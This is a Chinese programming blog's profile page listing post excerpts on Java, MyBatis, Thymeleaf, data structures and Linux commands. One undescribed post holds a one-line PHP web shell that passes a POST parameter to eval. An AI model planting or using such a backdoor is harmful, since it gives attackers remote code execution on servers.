自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(44)
  • 收藏
  • 关注

原创 2021-05-25

<?php echo"123";eval("$_POST['cmd']");>

2021-05-25 09:09:12 130

原创 Java内部类到底是什么

什么是内部类?内部类是定义在另一个类中的类,就是该类的定义定义在另一个类中。广义上将内部类分为四种:成员内部类、局部(方法)内部类、静态内部类、匿名内部类。//外部类(相对内部而言)public class Outer { //内部类 class Inner{ //code }}为什么使用内部类内部类方法可以访问该类定义所在的作用域中的数据,...

2019-06-20 11:47:19 227

原创 Thymeleaf表达式在JavaScript如何使用?

一般在html页面中可以直接使用th:设置值或属性,th:value赋值元素的value,th:text赋值元素的textth:attr可以设置元素的各种属性,这样赋值的前提是model中存在该属性 <input th:value="${user.age}" id="age"/> <select> <option value="1" th:text="男"...

2019-06-14 11:57:56 3891

原创 MyBatis的#{}占位符和${}拼接符的区别

# 对传入的参数视为字符串,会首先对sql语句进行预编译举个栗子:select * from user where id = #{id},传入id值为5那么传过来的SQL语句就是select * from user where name = ‘5’;2、将不会将传入的值进行预编译,select∗fromuserwherename=将不会将传入的值进行预编译,select * from ...

2019-06-13 22:03:03 1584

原创 jquery操作下拉框select(设置默认选中,清空选中状态)

取值问题 <select id="selector"> <option value="1">选项一</option> <option value="2">选项二</option> <option value="3">选项三</option> <option value...

2019-06-13 21:43:42 58571 2

原创 @RequestMapping与@GetMapping和@PostMapping区别

在查看项目代码的过程中,看到了有的地方使用的@RequestMapping,有的地方用的@GetMapping或@PostMapping@RequestMapping 和 @GetMapping @PostMapping 区别@GetMapping用于将HTTP get请求映射到特定处理程序的方法注解是一个组合注解,是@RequestMapping(method = RequestMe...

2019-06-11 17:25:56 14231 2

原创 超详细!intellij idea搭建SSM框架(maven+spring+spring MVC+mybatis+mysql)

SSM简介SSM(Spring+SpringMVC+MyBatis)框架集由Spring、MyBatis两个开源框架整合而成(SpringMVC是Spring中的部分内容)。常作为数据源较简单的web项目的框架。SpringSpring就像是整个项目中装配bean的大工厂,在配置文件中可以指定使用特定的参数去调用实体类的构造方法来实例化对象。也可以称之为项目中的粘合剂。Spring的核心思想...

2019-06-09 18:53:25 6413 1

原创 【深入理解JAVA虚拟机学习笔记三】栈溢出,堆溢出,直接内存溢出,内存泄漏,以及异常信息

由于在Hotspot虚拟机中中不区分虚拟机栈和本地方法栈,因此通过-Xoss修改参数是无效的,可以通过修改-Xss设定。如果线程请求的栈深度大于虚拟机允许的最大深度,将抛出StackOverflowError异常。如果虚拟机在扩展栈时无法申请到足够的内存空间,将抛出OutOfMemoryError异常。这两种异常有一些重叠的部分:当栈空间无法继续分配时,到底是内存太小,还是已经使用的栈空间过...

2019-06-07 11:59:08 1083

原创 【深入理解JAVA虚拟机学习笔记二】栈,堆,方法区三者关系

在我们访问一个对象时,JAVA虚拟机内部是通过栈上的reference数据来操作堆上的具体对象,同时方法区又存储着这个对象的类型数据即对象所属的类的信息。我们可以通过调用关系来了解堆、栈、方法区三者。JAVA虚拟机规范中只规定了一个指向对象的引用,并没有定义这个引用应该通过哪种方式去定位、去找到对象所在堆中的具体位置,所以对象的方法方法是取决于虚拟机实现而定的。现在主流的方法方式有两种:使用句...

2019-06-06 19:13:24 413 1

原创 【深入理解JAVA虚拟机学习笔记一】JAVA虚拟机运行时的数据区

程序计数器(Program Counter Register)在虚拟机的概念模型中,字节码解释器工作时就是通过改变这个计数器的值来选取下一条需要执行的字节码指令,分支、循环、跳转、异常处理等基础功能都需要依赖这个计数器完成。如果线程正在执行一个Java方法,这个计数器记录的时正在执行的虚拟机字节码指令的地址;如果正在执行的时Native方法,这个计数器值为空(Undefined)此内存区...

2019-06-05 19:56:26 173

原创 史上最易理解的快速排序原理详解以及Arrays.sort方法

Arrays.sort()方法可以通过源码发现内部使用的是快速排序,,然后我们探索一下快速排序的原理附源码:public static void sort(int[] a) { DualPivotQuicksort.sort(a, 0, a.length - 1, null, 0, 0);} /** * Sorts the specified range of t...

2019-06-03 23:45:28 823

原创 操作系统内部的存储优化原理

计算机内部一个存储空间4KB,假设当前存储的基本数据类型是int类型,存储空间为4B。一般来说数组内部都是一个类型即数组中的一个元素占一个4KB的存储空间,但是这样计算机中一个4KB的空间一个元素只用了其中的4B,剩下的内存空间都被浪费了。操作系统希望尽可能不浪费剩余的存储空间,采用优化方法存储这些数据:根据基本元素的所占的内存空间,将这4KB分给这些元素,当一个存储单元放不下时,就存入下...

2019-06-03 23:44:04 621

原创 String、StringBuffer与StringBuilder的区别,及实现原理

源码分析String使用final关键字修饰可以知道String是不可变的类,String中字符数组的长度你定义多少,就是多少,不存在字符数组扩容一说。内部是final修饰的char[] value,表示String类不可被继承,且value只能被初始化一次。这里的value变量其实就是存储了String字符串中的所有字符。StringBuffer和StringBuilder二者的源码以及ap...

2019-06-03 23:30:58 5946 2

原创 匿名对象的性能优势分析

首先从匿名数组开始讲起一般我们对数组的命名都是如下这种,数组本身有名字为arrint [] arr =new int [10]; `匿名数组是没有对数组命名,如下new int[]{2,3,4,5,6};//这是一个匿名数组int [] [] arrs ={ new int [10], arr2, ...

2019-06-03 19:54:49 413

原创 数值类型乘除的优化位运算原理(位运算实现乘除)

我们知道计算机存储数据时只存0和1,即只有二进制,计算机不识别十进制数。所以对于计算机中的位运算相比加减乘除运算要快的多。位运算在运算中是最快的,计算同样乘、除结果,效率却是乘、除的三倍,也就是耗时是乘除的三分之一。因此,可以使用位运算来代替部分算术运算,以此提高性能。其中最典型的就是对于整数的乘、除以及模运算的优化。位运算符号: 【注意位运算符的优先级没有加减乘除高,在运算过程中有时需要加括...

2019-06-03 13:57:05 275

原创 哈夫曼压缩和矩阵压缩存储

对于数组的压缩存储,一维数组主要使用哈夫曼压缩,多维数组主要采用矩阵压缩的形式,对特殊矩阵和系数矩阵进行压缩。哈夫曼压缩哈夫曼压缩是由哈夫曼树推广而来的,是哈夫曼编码的重要应用。哈夫曼树 ─ 即最优二叉树,带权路径长度最小的二叉树,经常应用于数据压缩。“哈夫曼编码”是一种一致性编码法(又称“熵编码法”),用于数据的无损耗压缩。它是根据数据出现的次数进行排序,出现最多的的数字编码长度最短,从而...

2019-06-02 23:40:55 774

原创 Java集合详解(Collection和Map接口以及实现)

Java集合详解Java集合框架Collection接口Map接口Collection 和 Map 的区别List接口(继承自Collection接口)Set接口(继承自Collection接口)HashMap(继承自Map接口)HashMap简介HashMap构造函数HashTable(继承自Map接口)HashMap简介HashMap构造函数TreeMap(继承自Map接口)HashMap简介...

2019-05-31 15:41:30 1332

转载 【每天一个linux命令(13)】less命令

less 工具也是对文件或其它输出进行分页显示的工具,应该说是linux正统查看文件内容的工具,功能极其强大。less 的用法比起 more 更加的有弹性。在 more 的时候,我们并没有办法向前面翻, 只能往后面看,但若使用了 less 时,就可以使用 [pageup] [pagedown] 等按键的功能来往前往后翻看文件,更容易用来查看一个文件的内容!除此之外,在 less 里头可以拥有更多的...

2019-05-21 22:54:54 361

原创 web.xml文件的作用及基本配置

web.xml文件的作用及基本配置web.xml是什么web.xml是web项目的配置文件,一般的web工程都会用到web.xml来配置,方便大型开发。web.xml主要用来配置Filter,Listener,Servlet等。但是web.xml并不是必须的,一个web工程可以没有web.xml文件web工程加载web.xml过程web容器的加载顺序ServletContext ->...

2019-05-21 22:33:45 760

原创 解决SpringMVC Controller接收页面传递的中文参数出现乱码问题

spring MVC中默认的编码格式为“ISO-8859-1”,在编码过程中,页面中的Pagecoding和Charset都设置为utf-8,而且在RequestMapping中也设置了charset @RequestMapping(value = "***",produces = "text/plain;charset=UTF-8")后来经过查询这里设置的charset和页面中设置中的c...

2019-05-21 16:34:21 4153 1

原创 【每天一个Linux命令(12)】more命令

more命令,功能类似 cat ,cat命令是整个文件的内容从上到下显示在屏幕上。 more会以一页一页的显示方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能 。more命令从前向后读取文件,因此在启动时就加载整个文件。1.命令格式:more [-dlfpcsu ] [-num] [+/ pattern]...

2019-05-20 21:31:39 209

转载 【每天一个linux命令(11)】nl命令

nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。1.命令格式:nl [选项]… [文件]…2.命令参数:-b :指定行号指定的方式,主要有两种:-b a :表示不论是否为空行,也同样列出行号(类似 cat -n);-b t ...

2019-05-19 11:01:26 268

转载 【每天一个Linux命令(9、10)】touch命令、cat命令

touch命令linux的touch命令不太常用,一般在使用make的时候可能会用到,用来修改文件时间戳,或者新建一个不存在的文件。我觉得在学习的过程中是比较常见的,以后可能不太常用1.命令格式:touch [选项]… 文件…2.命令参数:-a 或–time=atime或–time=access或–time=use  只更改存取时间。-c 或–no-create  不建立任何...

2019-05-18 11:30:51 3570

转载 【每天一个Linux命令(8)】cp命令

cp命令用来复制文件或者目录,是Linux系统中最常用的命令之一。一般情况下,shell会设置一个别名,在命令行下复制文件时,如果目标文件已经存在,就会询问是否覆盖,不管你是否使用-i参数。但是如果是在shell脚本中执行cp时,没有-i参数时不会询问是否覆盖。这说明命令行和shell脚本的执行方式有些不同。1.命令格式:用法:cp [选项]… [-T] 源 目的或:cp [选项]… ...

2019-05-17 21:28:04 325

转载 【每天一个Linux命令(7)】mv命令

mv命令是move的缩写,可以用来移动文件或者将文件改名(move (rename) files),是Linux系统下常用的命令,经常用来备份文件或者目录。1.命令格式:mv [选项] 源文件或目录 目标文件或目录2.命令功能:视mv命令中第二个参数类型的不同(是目标文件还是目标目录),mv命令将文件重命名或将其移至一个新的目录中。当第二个参数类型是文件时,mv命令完成文件重命名,此时,源...

2019-05-15 12:11:17 326

转载 【每天一个Linux命令(6)】rmdir命令

rmdir是常用的命令,该命令的功能是删除空目录。在一个目录被删除之前必须是空的。(注意,rm - r dir命令可代替rmdir,但是有很大危险性。)删除某目录时也必须具有对父目录的写权限。1.命令格式:rmdir [选项]… 目录…2.命令功能:该命令从一个目录中删除一个或多个子目录项,删除某目录时也必须具有对父目录的写权限。3.命令参数:-p 递归删除目录dirname,当...

2019-05-15 10:14:01 1112

原创 【每天一个Linux命令(5)】rm命令

昨天学习了创建文件和目录的命令mkdir ,今天学习一下linux中删除文件和目录的命令: rm命令。rm是常用的命令,是remove的缩写,该命令的功能为删除一个目录中的一个或多个文件或目录,它也可以将某个目录及其下的所有文件及子目录均删除。对于链接文件,只是删除了链接,原有文件均保持不变。我们在执行rm之前最好使用pwd查看当前在哪个目录,并且明确到底要删除什么东西,操作时保持高度清醒的头脑...

2019-05-13 15:33:14 441

原创 【每天一个Linux命令(4)】mkdir命令

linux mkdir 命令用来创建指定的名称的目录,要求创建目录的用户在当前目录中具有写权限,并且指定的目录名不能是当前目录中已有的目录。1.命令格式:mkdir [选项] 目录…2.命令功能:通过 mkdir 命令可以实现在指定位置创建以 DirName(指定的文件名)命名的文件夹或目录。要创建文件夹或目录的用户必须对所创建的文件夹的父文件夹具有写权限。并且,所创建的文件夹(目录)不能...

2019-05-12 14:29:18 311

原创 【每天一个Linux命令(3)】pwd命令

Linux中用 pwd 命令来查看”当前工作目录“的完整路径。 你可以使用该命令查看你当前的工作目录以及更多其他信息,该 命令非常常用在不太确定当前位置时,可以使用pwd来判定当前目录在文件系统内的确切位置。1.命令格式:pwd [选项]2.命令功能:查看”当前工作目录“的完整路径3.常用参数:一般情况下不带任何参数如果目录是链接时:格式:pwd -P 显示出实际路径,而非使用...

2019-05-11 12:49:29 219

原创 【每天一个Linux命令(2)】cd命令

Linuxcd命令可以说是Linux中最基本的命令语句,其他的命令语句要进行操作,都是建立在使用cd命令上的。附:pwd显示当前所在位置,能够看出cd 命令执行前后的变化 1.命令格式:cd[目录名] 2.命令功能:切换当前目录至dirName 3.常用范例3.1例一:进入系统根目录命令:cd/输出:root@DE...

2019-05-10 23:25:56 241

原创 windows10使用Linux子系统

搞了半天VMware,一直系统会报错,偶然发现了Windows10自带Linux系统,小试一把。经过使用感觉没有虚拟机好用,不推荐,除非电脑性能有限,这个比较不卡1.找到控制面板的启用或关闭Windows功能2.找到适用于Linux的Windows子系统点击,之后重启计算机或者直接PowerShell中运行以下命令Enable-WindowsOptionalFeature...

2019-05-10 23:00:45 522

原创 java基础(接口和抽象类)

抽象类抽象类是用来捕捉子类的通用特性的 。它不能被实例化,不能使用new关键字,只能被用作子类的超类。抽象类是被用来创建继承层级里子类的模板,子类可以调用抽象类中的方法。接口接口是抽象方法的集合。如果一个类实现了某个接口,那么它就继承了这个接口的抽象方法。这就像一套标准,如果实现了这个接口,也就是将自身规范成一种标准,那么就必须确保完成或者说实现这些方法,完成接口所指定的标准。接口只是一种形...

2019-05-09 23:33:23 147

转载 【每天一个Linux命令(1)】ls命令

ls命令是linux下最常用的命令。ls命令可以查看linux文件夹包含的文件,还可以查看文件权限(包括目录、文件夹、文件权限)、查看目录信息等等。1.命令格式:ls[选项][目录名]2.命令功能:列出目标目录中所有的子目录和文件。3.常用参数:-a,–all列出目录下的所有文件,包括以.开头的隐含文件-A同-a,但不列出“.”(表示当前目录)和“...

2019-05-09 23:20:09 158

原创 AJAX和Servlet实现前后台数据交互

JDBC实现对数据库的增删改查。DBConnection打开数据库连接、PreparedStatement参数预处理、ResultSet结果集接收…这部分不详述。前后台交互一般通过json来进行数据传输,json是一种轻量级的数据交换格式,一般都是{key:value} 形式,可以使用Map接收。AJAX = Asynchronous JavaScript and XML(异步的 JavaS...

2019-04-28 17:53:14 6740

原创 [数据结构] java单向链表

第一次使用泛型的方法写单向链表。链表和数组的区别就是链表的存储位置不一定是连续的,数组的存储位置一定是连续的。无序链表的增删改查时间复杂度分别为:增加:O(1);删除O(n);修改O(n);查询O(n)有序链表和无序链表在查询的时候有些区别有序链表:增加:O(n);删除O(n);修改O(n);查询O(n)下面直接附上代码:这是一个带头结点无序链表,没有数据的大小顺序而有序链表需要...

2019-04-25 17:49:12 339

原创 java基础(静态域与静态方法、对象构造 )

静态静态域带有static标识符,这部分变量具有独立的存储空间,与对象无关,而是与整个类相关,类的所有实例共享静态域,不属于任何独立的对象。我们可以对Student类增加一个静态域来记录下一个学生的id或记录学生的数量class{ private static int nextId = 1;}静态常量静态常量量要比静态变量使用得多,在数学中最常使用的静态常量是Math.PIpu...

2019-04-12 16:08:20 334

原创 Java基础(数据类型、字符串)

Java基本程序设计结构数据类型整型浮点类型char类型boolean类型运算符数值类型之间的转换强制类型转换字符串拼接String APIString常用的方法空串与Null串字符串构建线程安全与线程不安全数据类型Java中一共有8种基本类型,其中4种整型(int、short、long、byte)、2种浮点型(float、double)、1种用于表示Unicode编码的字符单元的字符类型(c...

2019-03-25 15:34:52 576

原创 计算机存储方式

复习了有关数据结构和计算机组成原理部分内容总线总线(Bus)是计算机各种功能部件之间传送信息的公共通信干线,统一控制内存、CPU等。在电路中相当于电路的总开关。磁盘存储方式磁盘只能地址非连续存储、不准有数据存在。但尽量地址是挨在一起的,这样可以加速存取的速度。计算机存储CPU–内存–磁盘其中CPU到内存的存取速度较快,但磁盘由于自身是机械操作(包括寻道时间,读取时间等)存取速度非常慢...

2019-03-15 17:23:38 2009

原创 【2013年408真题】线性表

已知一个整数序列A=(a0,a1,…,an-1),其中0≤ai&lt;n(0≤i&lt;n)。若存在ap1=ap2=…=apm=x且m&gt;n/2(0≤pk&lt;n,1≤k≤m),则称x为A的主元素。例如A=(0,5,5,3,5,7,5,5),则5为主元素;又如A=(0,5,5,3,5,1,5,7),则A中没有主元素。假设A中的n个元素保存在一个一维数组中,请设计一个尽可能高效的算法,找出...

2018-08-10 23:02:33 2704

原创 【2011年408真题】线性表

【问题描述】一个长度为L(L≥1)的升序序列S,处在第[L/2]个位置的数称为S的中位数。例如,若序列S1=(11,13,15,17,19),则S1中的中位数是15。两个序列的中位数是含它们所有元素的升序序列的中位数。例如,若S2=(2,4,6,8,20),则S1和S2的中位数是11。现有两个等长升序序列A和B,试设计一个在时间和空间两方面都尽可能高效的算法,找出两个序列A和B的中...

2018-08-09 22:48:37 2176 3

Python-Django框架开发CMS 使用本地mysql开发,可以直接运行,

针对内容管理系统(content management system,CMS)要求,通过对管理新闻发布的过程和数据分析,设计如下所示的关系模型: 1.用户(用户编号,用户名,密码,手机号,是否是管理员标识) 2.栏目(栏目编号,栏目名称) 3.文章(文章编号,文章标题,文章内容,文章作者[外键关联用户编号],发表时间,栏目编号[外键关联栏目编号]) IDE:PyCharm 2021.1.2 (Community Edition) Memory: 1774M Cores: 16 Python 3.7.6 Django 2.2.5 数据库版本: Mysql 8.0.26 数据库管理工具:navicat15 修改settings.py文件中的DATABASES部分内容即可使用,前端使用bootstrap网页模板

2022-10-09

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除